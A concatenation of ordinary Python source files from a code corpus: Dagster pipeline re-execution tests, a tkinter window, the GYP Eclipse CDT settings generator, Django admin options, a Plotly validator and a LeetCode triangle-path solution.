assert step_did_skip(logs, 'child_skip.compute')
assert step_did_skip(logs, 'grandchild_fail.compute')
retry_one = execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': get_retry_multi_execution_params(
context, should_fail=True, retry_id=run_id
)
},
)
run_id = retry_one.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][
'messages'
]
assert step_did_not_run(logs, 'multi.compute')
assert step_did_not_run(logs, 'child_multi_skip.compute')
assert step_did_fail(logs, 'can_fail.compute')
assert step_did_skip(logs, 'child_fail.compute')
assert step_did_skip(logs, 'child_skip.compute')
assert step_did_skip(logs, 'grandchild_fail.compute')
retry_two = execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': get_retry_multi_execution_params(
context, should_fail=False, retry_id=run_id
)
},
)
run_id = retry_two.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][
'messages'
]
assert step_did_not_run(logs, 'multi.compute')
assert step_did_not_run(logs, 'child_multi_skip.compute')
assert step_did_succeed(logs, 'can_fail.compute')
assert step_did_succeed(logs, 'child_fail.compute')
assert step_did_skip(logs, 'child_skip.compute')
assert step_did_succeed(logs, 'grandchild_fail.compute')
def test_successful_pipeline_reexecution(self, graphql_context):
selector = infer_pipeline_selector(graphql_context, 'csv_hello_world')
run_id = make_new_run_id()
result_one = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config_fs_storage(),
'executionMetadata': {'runId': run_id},
'mode': 'default',
}
},
)
assert (
result_one.data['launchPipelineExecution']['__typename'] == 'LaunchPipelineRunSuccess'
)
expected_value_repr = (
'''[OrderedDict([('num1', '1'), ('num2', '2'), ('sum', 3), '''
'''('sum_sq', 9)]), OrderedDict([('num1', '3'), ('num2', '4'), ('sum', 7), '''
'''('sum_sq', 49)])]'''
)
instance = graphql_context.instance
store = build_fs_intermediate_store(instance.intermediates_directory, run_id)
intermediates_manager = IntermediateStoreIntermediatesManager(store)
assert intermediates_manager.has_intermediate(None, StepOutputHandle('sum_solid.compute'))
assert intermediates_manager.has_intermediate(
None, StepOutputHandle('sum_sq_solid.compute')
)
assert (
str(
intermediates_manager.get_intermediate(
None, PoorMansDataFrame, StepOutputHandle('sum_sq_solid.compute')
).obj
)
== expected_value_repr
)
# retry
new_run_id = make_new_run_id()
result_two = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config_fs_storage(),
'stepKeys': ['sum_sq_solid.compute'],
'executionMetadata': {
'runId': new_run_id,
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
'mode': 'default',
}
},
)
query_result = result_two.data['launchPipelineReexecution']
assert query_result['__typename'] == 'LaunchPipelineRunSuccess'
result = get_all_logs_for_finished_run_via_subscription(graphql_context, new_run_id)
logs = result['pipelineRunLogs']['messages']
assert isinstance(logs, list)
assert has_event_of_type(logs, 'PipelineStartEvent')
assert has_event_of_type(logs, 'PipelineSuccessEvent')
assert not has_event_of_type(logs, 'PipelineFailureEvent')
assert not get_step_output_event(logs, 'sum_solid.compute')
assert get_step_output_event(logs, 'sum_sq_solid.compute')
store = build_fs_intermediate_store(instance.intermediates_directory, new_run_id)
intermediates_manager = IntermediateStoreIntermediatesManager(store)
assert not intermediates_manager.has_intermediate(
None, StepOutputHandle('sum_solid.inputs.num.read', 'input_thunk_output')
)
assert intermediates_manager.has_intermediate(None, StepOutputHandle('sum_solid.compute'))
assert intermediates_manager.has_intermediate(
None, StepOutputHandle('sum_sq_solid.compute')
)
assert (
str(
intermediates_manager.get_intermediate(
None, PoorMansDataFrame, StepOutputHandle('sum_sq_solid.compute')
).obj
)
== expected_value_repr
)
def test_pipeline_reexecution_info_query(self, graphql_context, snapshot):
context = graphql_context
selector = infer_pipeline_selector(graphql_context, 'csv_hello_world')
run_id = make_new_run_id()
execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config_fs_storage(),
'executionMetadata': {'runId': run_id},
'mode': 'default',
}
},
)
# retry
new_run_id = make_new_run_id()
execute_dagster_graphql_and_finish_runs(
context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config_fs_storage(),
'stepKeys': ['sum_sq_solid.compute'],
'executionMetadata': {
'runId': new_run_id,
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
'mode': 'default',
}
},
)
result_one = execute_dagster_graphql_and_finish_runs(
context, PIPELINE_REEXECUTION_INFO_QUERY, variables={'runId': run_id}
)
query_result_one = result_one.data['pipelineRunOrError']
assert query_result_one['__typename'] == 'PipelineRun'
assert query_result_one['stepKeysToExecute'] is None
result_two = execute_dagster_graphql_and_finish_runs(
context, PIPELINE_REEXECUTION_INFO_QUERY, variables={'runId': new_run_id}
)
query_result_two = result_two.data['pipelineRunOrError']
assert query_result_two['__typename'] == 'PipelineRun'
stepKeysToExecute = query_result_two['stepKeysToExecute']
assert stepKeysToExecute is not None
snapshot.assert_match(stepKeysToExecute)
def test_pipeline_reexecution_invalid_step_in_subset(self, graphql_context):
run_id = make_new_run_id()
selector = infer_pipeline_selector(graphql_context, 'csv_hello_world')
execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config(),
'executionMetadata': {'runId': run_id},
'mode': 'default',
}
},
)
# retry
new_run_id = make_new_run_id()
result_two = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'selector': selector,
'runConfigData': csv_hello_world_solids_config(),
'stepKeys': ['nope'],
'executionMetadata': {
'runId': new_run_id,
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
'mode': 'default',
}
},
)
query_result = result_two.data['launchPipelineReexecution']
assert query_result['__typename'] == 'InvalidStepError'
assert query_result['invalidStepKey'] == 'nope'
class TestHardFailures(OutOfProcessExecutingGraphQLContextTestMatrix):
def test_retry_hard_failure(self, graphql_context):
selector = infer_pipeline_selector(graphql_context, 'hard_failer')
result = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {'solids': {'hard_fail_or_0': {'config': {'fail': True}}}},
}
},
)
run_id = result.data['launchPipelineExecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_started(logs, 'hard_fail_or_0.compute')
assert step_did_not_run(logs, 'hard_fail_or_0.compute')
assert step_did_not_run(logs, 'increment.compute')
retry = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {'solids': {'hard_fail_or_0': {'config': {'fail': False}}}},
'executionMetadata': {
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
run_id = retry.data['launchPipelineReexecution']['run']['runId']
logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[
'pipelineRunLogs'
]['messages']
assert step_did_succeed(logs, 'hard_fail_or_0.compute')
assert step_did_succeed(logs, 'increment.compute')
def _do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id):
selector = infer_pipeline_selector(graphql_context, 'eventually_successful')
logs = sync_execute_get_events(
context=graphql_context,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'executionMetadata': {'runId': run_id},
}
},
)
assert step_did_succeed(logs, 'spawn.compute')
assert step_did_fail(logs, 'fail.compute')
assert step_did_skip(logs, 'fail_2.compute')
assert step_did_skip(logs, 'fail_3.compute')
assert step_did_skip(logs, 'reset.compute')
retry_one = execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'executionMetadata': {
'runId': reexecution_run_id,
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
return retry_one
class TestRetryExecutionSyncOnlyBehavior(
make_graphql_context_test_suite(
context_variants=[GraphQLContextVariant.in_memory_instance_in_process_env()]
)
):
def test_retry_requires_intermediates_sync_only(self, graphql_context):
run_id = make_new_run_id()
reexecution_run_id = make_new_run_id()
retry_one = _do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id)
assert not retry_one.errors
assert retry_one.data
assert retry_one.data['launchPipelineReexecution']['__typename'] == 'PythonError'
assert (
'Cannot perform reexecution with non persistent intermediates manager'
in retry_one.data['launchPipelineReexecution']['message']
)
class TestRetryExecutionAsyncOnlyBehavior(
make_graphql_context_test_suite(
context_variants=[GraphQLContextVariant.sqlite_with_default_run_launcher_in_process_env()]
)
):
def test_retry_requires_intermediates_async_only(self, graphql_context):
run_id = make_new_run_id()
reexecution_run_id = make_new_run_id()
_do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id)
reexecution_run = graphql_context.instance.get_run_by_id(reexecution_run_id)
assert reexecution_run.is_failure
@pytest.mark.skipif(
sys.version_info.major == 3 and sys.version_info.minor == 8,
reason="CliApiRunLauncher subprocess termination hanging on py38 in Buildkite, "
"see https://github.com/dagster-io/dagster/issues/2768",
)
def test_retry_early_terminate(self, graphql_context):
instance = graphql_context.instance
selector = infer_pipeline_selector(
graphql_context, 'retry_multi_input_early_terminate_pipeline'
)
run_id = make_new_run_id()
execute_dagster_graphql(
graphql_context,
LAUNCH_PIPELINE_EXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {
'solids': {
'get_input_one': {'config': {'wait_to_terminate': True}},
'get_input_two': {'config': {'wait_to_terminate': True}},
},
'storage': {'filesystem': {}},
},
'executionMetadata': {'runId': run_id},
}
},
)
# Wait until the first step succeeded
while instance.get_run_stats(run_id).steps_succeeded < 1:
sleep(0.1)
# Terminate the current pipeline run at the second step
graphql_context.instance.run_launcher.terminate(run_id)
records = instance.all_logs(run_id)
# The first step should succeed, the second should fail or not start,
# and the following steps should not appear in records
assert step_did_succeed_in_records(records, 'return_one.compute')
assert any(
[
step_did_fail_in_records(records, 'get_input_one.compute'),
step_did_not_run_in_records(records, 'get_input_one.compute'),
]
)
assert step_did_not_run_in_records(records, 'get_input_two.compute')
assert step_did_not_run_in_records(records, 'sum_inputs.compute')
# Start retry
new_run_id = make_new_run_id()
execute_dagster_graphql_and_finish_runs(
graphql_context,
LAUNCH_PIPELINE_REEXECUTION_MUTATION,
variables={
'executionParams': {
'mode': 'default',
'selector': selector,
'runConfigData': {
'solids': {
'get_input_one': {'config': {'wait_to_terminate': False}},
'get_input_two': {'config': {'wait_to_terminate': False}},
},
'storage': {'filesystem': {}},
},
'executionMetadata': {
'runId': new_run_id,
'rootRunId': run_id,
'parentRunId': run_id,
'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}],
},
}
},
)
retry_records = instance.all_logs(new_run_id)
# The first step should not run and the other three steps should succeed in retry
assert step_did_not_run_in_records(retry_records, 'return_one.compute')
assert step_did_succeed_in_records(retry_records, 'get_input_one.compute')
assert step_did_succeed_in_records(retry_records, 'get_input_two.compute')
assert step_did_succeed_in_records(retry_records, 'sum_inputs.compute')
|
py | 1a4cddb50cc5671f4feedf338b782924c4c08e04 | import json
import tkinter
from alp.ml import Alp
class MainWindow(tkinter.Tk):
def __init__(self, filename):
super().__init__()
self.create_mf(filename)
def loop_mainframe(self):
self.mainloop()
def create_mf(self, filename):
f = open(f"{Alp.CONF_DIR}/{filename}", "r")
j = json.load(f)
alp = Alp()
alp.load_widgets(self, j)
mf = tkinter.Frame(master=self)
mf.pack()
mf.exit = tkinter.Button(mf, text="終了", fg="red",
command=self.destroy)
mf.exit.pack(side="bottom")
img = tkinter.Image("photo", file=f"{Alp.CONF_DIR}/gracie.png")
self.tk.call('wm', 'iconphoto', self._w, img)
|
py | 1a4cde7788f1fdad8a86654b83504904638bc588 | # Copyright (c) 2012 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""GYP backend that generates Eclipse CDT settings files.
This backend DOES NOT generate Eclipse CDT projects. Instead, it generates XML
files that can be imported into an Eclipse CDT project. The XML file contains a
list of include paths and symbols (i.e. defines).
Because a full .cproject definition is not created by this generator, it's not
possible to properly define the include dirs and symbols for each file
individually. Instead, one set of includes/symbols is generated for the entire
project. This works fairly well (and is a vast improvement in general), but may
still result in a few indexer issues here and there.
This generator has no automated tests, so expect it to be broken.
"""
from xml.sax.saxutils import escape
import os.path
import subprocess
import gyp
import gyp.common
import gyp.msvs_emulation
import shlex
import xml.etree.cElementTree as ET
generator_wants_static_library_dependencies_adjusted = False
generator_default_variables = {}
for dirname in ["INTERMEDIATE_DIR", "PRODUCT_DIR", "LIB_DIR", "SHARED_LIB_DIR"]:
# Some gyp steps fail if these are empty(!), so we convert them to variables
generator_default_variables[dirname] = "$" + dirname
for unused in [
"RULE_INPUT_PATH",
"RULE_INPUT_ROOT",
"RULE_INPUT_NAME",
"RULE_INPUT_DIRNAME",
"RULE_INPUT_EXT",
"EXECUTABLE_PREFIX",
"EXECUTABLE_SUFFIX",
"STATIC_LIB_PREFIX",
"STATIC_LIB_SUFFIX",
"SHARED_LIB_PREFIX",
"SHARED_LIB_SUFFIX",
"CONFIGURATION_NAME",
]:
generator_default_variables[unused] = ""
# Include dirs will occasionally use the SHARED_INTERMEDIATE_DIR variable as
# part of the path when dealing with generated headers. This value will be
# replaced dynamically for each configuration.
generator_default_variables["SHARED_INTERMEDIATE_DIR"] = "$SHARED_INTERMEDIATE_DIR"
def CalculateVariables(default_variables, params):
generator_flags = params.get("generator_flags", {})
for key, val in generator_flags.items():
default_variables.setdefault(key, val)
flavor = gyp.common.GetFlavor(params)
default_variables.setdefault("OS", flavor)
if flavor == "win":
gyp.msvs_emulation.CalculateCommonVariables(default_variables, params)
def CalculateGeneratorInputInfo(params):
"""Calculate the generator specific info that gets fed to input (called by
gyp)."""
generator_flags = params.get("generator_flags", {})
if generator_flags.get("adjust_static_libraries", False):
global generator_wants_static_library_dependencies_adjusted
generator_wants_static_library_dependencies_adjusted = True
def GetAllIncludeDirectories(
target_list,
target_dicts,
shared_intermediate_dirs,
config_name,
params,
compiler_path,
):
"""Calculate the set of include directories to be used.
Returns:
A list including all the include_dir's specified for every target followed
by any include directories that were added as cflag compiler options.
"""
gyp_includes_set = set()
compiler_includes_list = []
# Find compiler's default include dirs.
if compiler_path:
command = shlex.split(compiler_path)
command.extend(["-E", "-xc++", "-v", "-"])
proc = subprocess.Popen(
args=command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
output = proc.communicate()[1].decode("utf-8")
# Extract the list of include dirs from the output, which has this format:
# ...
# #include "..." search starts here:
# #include <...> search starts here:
# /usr/include/c++/4.6
# /usr/local/include
# End of search list.
# ...
in_include_list = False
for line in output.splitlines():
if line.startswith("#include"):
in_include_list = True
continue
if line.startswith("End of search list."):
break
if in_include_list:
include_dir = line.strip()
if include_dir not in compiler_includes_list:
compiler_includes_list.append(include_dir)
flavor = gyp.common.GetFlavor(params)
if flavor == "win":
generator_flags = params.get("generator_flags", {})
for target_name in target_list:
target = target_dicts[target_name]
if config_name in target["configurations"]:
config = target["configurations"][config_name]
# Look for any include dirs that were explicitly added via cflags. This
# may be done in gyp files to force certain includes to come at the end.
# TODO(jgreenwald): Change the gyp files to not abuse cflags for this, and
# remove this.
if flavor == "win":
msvs_settings = gyp.msvs_emulation.MsvsSettings(target, generator_flags)
cflags = msvs_settings.GetCflags(config_name)
else:
cflags = config["cflags"]
for cflag in cflags:
if cflag.startswith("-I"):
include_dir = cflag[2:]
if include_dir not in compiler_includes_list:
compiler_includes_list.append(include_dir)
# Find standard gyp include dirs.
if "include_dirs" in config:
include_dirs = config["include_dirs"]
for shared_intermediate_dir in shared_intermediate_dirs:
for include_dir in include_dirs:
include_dir = include_dir.replace(
"$SHARED_INTERMEDIATE_DIR", shared_intermediate_dir
)
if not os.path.isabs(include_dir):
base_dir = os.path.dirname(target_name)
include_dir = base_dir + "/" + include_dir
include_dir = os.path.abspath(include_dir)
gyp_includes_set.add(include_dir)
# Generate a list that has all the include dirs.
all_includes_list = list(gyp_includes_set)
all_includes_list.sort()
for compiler_include in compiler_includes_list:
if compiler_include not in gyp_includes_set:
all_includes_list.append(compiler_include)
# All done.
return all_includes_list
def GetCompilerPath(target_list, data, options):
"""Determine a command that can be used to invoke the compiler.
Returns:
If this is a gyp project that has explicit make settings, try to determine
the compiler from that. Otherwise, see if a compiler was specified via the
CC_target environment variable.
"""
# First, see if the compiler is configured in make's settings.
build_file, _, _ = gyp.common.ParseQualifiedTarget(target_list[0])
make_global_settings_dict = data[build_file].get("make_global_settings", {})
for key, value in make_global_settings_dict:
if key in ["CC", "CXX"]:
return os.path.join(options.toplevel_dir, value)
# Check to see if the compiler was specified as an environment variable.
for key in ["CC_target", "CC", "CXX"]:
compiler = os.environ.get(key)
if compiler:
return compiler
return "gcc"
def GetAllDefines(target_list, target_dicts, data, config_name, params, compiler_path):
"""Calculate the defines for a project.
Returns:
A dict that includes explicit defines declared in gyp files along with all
of the default defines that the compiler uses.
"""
# Get defines declared in the gyp files.
all_defines = {}
flavor = gyp.common.GetFlavor(params)
if flavor == "win":
generator_flags = params.get("generator_flags", {})
for target_name in target_list:
target = target_dicts[target_name]
if flavor == "win":
msvs_settings = gyp.msvs_emulation.MsvsSettings(target, generator_flags)
extra_defines = msvs_settings.GetComputedDefines(config_name)
else:
extra_defines = []
if config_name in target["configurations"]:
config = target["configurations"][config_name]
target_defines = config["defines"]
else:
target_defines = []
for define in target_defines + extra_defines:
split_define = define.split("=", 1)
if len(split_define) == 1:
split_define.append("1")
if split_define[0].strip() in all_defines:
# Already defined
continue
all_defines[split_define[0].strip()] = split_define[1].strip()
# Get default compiler defines (if possible).
if flavor == "win":
return all_defines # Default defines already processed in the loop above.
if compiler_path:
command = shlex.split(compiler_path)
command.extend(["-E", "-dM", "-"])
cpp_proc = subprocess.Popen(
args=command, cwd=".", stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
cpp_output = cpp_proc.communicate()[0].decode("utf-8")
cpp_lines = cpp_output.split("\n")
for cpp_line in cpp_lines:
if not cpp_line.strip():
continue
cpp_line_parts = cpp_line.split(" ", 2)
key = cpp_line_parts[1]
if len(cpp_line_parts) >= 3:
val = cpp_line_parts[2]
else:
val = "1"
all_defines[key] = val
return all_defines
def WriteIncludePaths(out, eclipse_langs, include_dirs):
"""Write the includes section of a CDT settings export file."""
out.write(
' <section name="org.eclipse.cdt.internal.ui.wizards.'
'settingswizards.IncludePaths">\n'
)
out.write(' <language name="holder for library settings"></language>\n')
for lang in eclipse_langs:
out.write(' <language name="%s">\n' % lang)
for include_dir in include_dirs:
out.write(
' <includepath workspace_path="false">%s</includepath>\n'
% include_dir
)
out.write(" </language>\n")
out.write(" </section>\n")
def WriteMacros(out, eclipse_langs, defines):
"""Write the macros section of a CDT settings export file."""
out.write(
' <section name="org.eclipse.cdt.internal.ui.wizards.'
'settingswizards.Macros">\n'
)
out.write(' <language name="holder for library settings"></language>\n')
for lang in eclipse_langs:
out.write(' <language name="%s">\n' % lang)
for key in sorted(defines):
out.write(
" <macro><name>%s</name><value>%s</value></macro>\n"
% (escape(key), escape(defines[key]))
)
out.write(" </language>\n")
out.write(" </section>\n")
def GenerateOutputForConfig(target_list, target_dicts, data, params, config_name):
options = params["options"]
generator_flags = params.get("generator_flags", {})
# build_dir: relative path from source root to our output files.
# e.g. "out/Debug"
build_dir = os.path.join(generator_flags.get("output_dir", "out"), config_name)
toplevel_build = os.path.join(options.toplevel_dir, build_dir)
# Ninja uses out/Debug/gen while make uses out/Debug/obj/gen as the
# SHARED_INTERMEDIATE_DIR. Include both possible locations.
shared_intermediate_dirs = [
os.path.join(toplevel_build, "obj", "gen"),
os.path.join(toplevel_build, "gen"),
]
GenerateCdtSettingsFile(
target_list,
target_dicts,
data,
params,
config_name,
os.path.join(toplevel_build, "eclipse-cdt-settings.xml"),
options,
shared_intermediate_dirs,
)
GenerateClasspathFile(
target_list,
target_dicts,
options.toplevel_dir,
toplevel_build,
os.path.join(toplevel_build, "eclipse-classpath.xml"),
)
def GenerateCdtSettingsFile(
target_list,
target_dicts,
data,
params,
config_name,
out_name,
options,
shared_intermediate_dirs,
):
gyp.common.EnsureDirExists(out_name)
with open(out_name, "w") as out:
out.write('<?xml version="1.0" encoding="UTF-8"?>\n')
out.write("<cdtprojectproperties>\n")
eclipse_langs = [
"C++ Source File",
"C Source File",
"Assembly Source File",
"GNU C++",
"GNU C",
"Assembly",
]
compiler_path = GetCompilerPath(target_list, data, options)
include_dirs = GetAllIncludeDirectories(
target_list,
target_dicts,
shared_intermediate_dirs,
config_name,
params,
compiler_path,
)
WriteIncludePaths(out, eclipse_langs, include_dirs)
defines = GetAllDefines(
target_list, target_dicts, data, config_name, params, compiler_path
)
WriteMacros(out, eclipse_langs, defines)
out.write("</cdtprojectproperties>\n")
def GenerateClasspathFile(
target_list, target_dicts, toplevel_dir, toplevel_build, out_name
):
"""Generates a classpath file suitable for symbol navigation and code
completion of Java code (such as in Android projects) by finding all
.java and .jar files used as action inputs."""
gyp.common.EnsureDirExists(out_name)
result = ET.Element("classpath")
def AddElements(kind, paths):
# First, we need to normalize the paths so they are all relative to the
# toplevel dir.
rel_paths = set()
for path in paths:
if os.path.isabs(path):
rel_paths.add(os.path.relpath(path, toplevel_dir))
else:
rel_paths.add(path)
for path in sorted(rel_paths):
entry_element = ET.SubElement(result, "classpathentry")
entry_element.set("kind", kind)
entry_element.set("path", path)
AddElements("lib", GetJavaJars(target_list, target_dicts, toplevel_dir))
AddElements("src", GetJavaSourceDirs(target_list, target_dicts, toplevel_dir))
# Include the standard JRE container and a dummy out folder
AddElements("con", ["org.eclipse.jdt.launching.JRE_CONTAINER"])
# Include a dummy out folder so that Eclipse doesn't use the default /bin
# folder in the root of the project.
AddElements("output", [os.path.join(toplevel_build, ".eclipse-java-build")])
ET.ElementTree(result).write(out_name)
def GetJavaJars(target_list, target_dicts, toplevel_dir):
"""Generates a sequence of all .jars used as inputs."""
for target_name in target_list:
target = target_dicts[target_name]
for action in target.get("actions", []):
for input_ in action["inputs"]:
if os.path.splitext(input_)[1] == ".jar" and not input_.startswith("$"):
if os.path.isabs(input_):
yield input_
else:
yield os.path.join(os.path.dirname(target_name), input_)
def GetJavaSourceDirs(target_list, target_dicts, toplevel_dir):
"""Generates a sequence of all likely java package root directories."""
for target_name in target_list:
target = target_dicts[target_name]
for action in target.get("actions", []):
for input_ in action["inputs"]:
if os.path.splitext(input_)[1] == ".java" and not input_.startswith(
"$"
):
dir_ = os.path.dirname(
os.path.join(os.path.dirname(target_name), input_)
)
# If there is a parent 'src' or 'java' folder, navigate up to it -
# these are canonical package root names in Chromium. This will
# break if 'src' or 'java' exists in the package structure. This
# could be further improved by inspecting the java file for the
# package name if this proves to be too fragile in practice.
parent_search = dir_
while os.path.basename(parent_search) not in ["src", "java"]:
parent_search, _ = os.path.split(parent_search)
if not parent_search or parent_search == toplevel_dir:
# Didn't find a known root, just return the original path
yield dir_
break
else:
yield parent_search
def GenerateOutput(target_list, target_dicts, data, params):
"""Generate an XML settings file that can be imported into a CDT project."""
if params["options"].generator_output:
raise NotImplementedError("--generator_output not implemented for eclipse")
user_config = params.get("generator_flags", {}).get("config", None)
if user_config:
GenerateOutputForConfig(target_list, target_dicts, data, params, user_config)
else:
config_names = target_dicts[target_list[0]]["configurations"]
for config_name in config_names:
GenerateOutputForConfig(
target_list, target_dicts, data, params, config_name
)
|
py | 1a4cdf87021b807d32f13646c5e2d44322ca2915 | from django.contrib import admin
from django.utils.translation import ugettext_lazy as _
class CarouselGalleryUniteOptionsAdmin(admin.ModelAdmin):
'''
Carousel
Tiles - Columns
Tiles - Grid
Tiles - Justified
Tiles - Nested
'''
fieldsets = (
(_('Gallery options'), {
'classes': ('collapse',),
'fields': (
# 'gallery_theme',
'gallery_width',
'gallery_min_width',
'gallery_background_color',
)
}),
)
class SliderGalleryUniteOptionsAdmin(admin.ModelAdmin):
'''
Compact theme
Default theme
Grid theme
Slider
'''
fieldsets = (
(_('Gallery options'), {
'classes': ('collapse',),
'fields': (
# 'gallery_theme',
'gallery_width',
'gallery_height',
'gallery_min_width',
'gallery_min_height',
'gallery_skin',
'gallery_images_preload_type',
'gallery_autoplay',
'gallery_play_interval',
'gallery_pause_on_mouseover',
'gallery_control_thumbs_mousewheel',
'gallery_control_keyboard',
'gallery_carousel',
'gallery_preserve_ratio',
'gallery_debug_errors',
'gallery_background_color',
)
}),
)
|
py | 1a4cdfac3f730433f3e96794662f181dec6e7fa3 | import _plotly_utils.basevalidators
class ShowlegendValidator(_plotly_utils.basevalidators.BooleanValidator):
def __init__(self, plotly_name="showlegend", parent_name="area", **kwargs):
super(ShowlegendValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "style"),
role=kwargs.pop("role", "info"),
**kwargs
)
|
py | 1a4ce01f42fa5ae2c50f26b7ed34abb068e34266 |
# -*- coding: utf-8 -*-
"""
created by huash06 at 2015-04-15 22:01
Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent numbers on the row below.
For example, given the following triangle
[
[2],
[3,4],
[6,5,7],
[4,1,8,3]
]
The minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11).
Note:
Bonus point if you are able to do this using only O(n) extra space, where n is the total number of rows in the triangle.
"""
__author__ = 'huash06'
import sys
import os
import itertools
import collections
import functools
import bisect
class Solution:
# @param triangle, a list of lists of integers
# @return an integer
def minimumTotal(self, triangle):
"""
暴力解法， 放在这里只是想试试每次遍历最左边的根到叶子的路径的遍历方式。
即Binary_Search_Tree_terator
:param triangle:
:return:
"""
if not triangle:
return 0
mincount = 0
q = []
for i in range(len(triangle)):
q.append((i, 0, 0))
mincount += triangle[i][0]
count = mincount
while q:
r, c, v = q.pop()
if v > 0:
count -= triangle[r][c]
elif r < len(triangle)-1 and c < len(triangle[r+1])-1:
q.append((r, c, v+1))
r += 1
c += 1
q.append((r, c, 0))
count += triangle[r][c]
while r < len(triangle)-1 and c > 0:
r += 1
q.append((r, c, 0))
count += triangle[r][c]
mincount = min(mincount, count)
else:
count -= triangle[r][c]
return mincount
def dp(self, triangle):
if not triangle:
return 0
# 令f(i,j)表示第i行选择数字j时的最小值，
# f(i,j) = min{f(i-1,j-1), f(i-1,j)} + triangle[i][j]
# f(0,0) = triangle[0][0]
f = [[1000000000 for _ in range(len(triangle))] for _ in range(len(triangle))]
f[0][0] = triangle[0][0]
for i in range(len(triangle)-1):
for j in range(i+1):
f[i+1][j] = min(f[i+1][j], f[i][j]+triangle[i+1][j])
f[i+1][j+1] = min(f[i+1][j+1], f[i][j]+triangle[i+1][j+1])
return min(f[len(triangle)-1])
def dp_op(self, triangle):
if not triangle:
return 0
# 优化空间
maxint = 1000000000
f = [[maxint for _ in range(len(triangle))] for _ in range(2)]
f[0][0] = triangle[0][0]
for i in range(len(triangle)-1):
# 注意复用了空间， 使用前必须重新初始化
for j in range(i+2):
f[(i+1) % 2][j] = maxint
for j in range(i+1):
f[(i+1) % 2][j] = min(f[(i+1) % 2][j], f[i % 2][j]+triangle[i+1][j])
f[(i+1) % 2][j+1] = min(f[(i+1) % 2][j+1], f[i % 2][j]+triangle[i+1][j+1])
return min(f[(len(triangle)-1) % 2])
s = Solution()
s = Solution()
t = [
[2],
[3,4],
[6,5,7],
[4,1,8,3]
]
# print(s.minimumTotal(t))
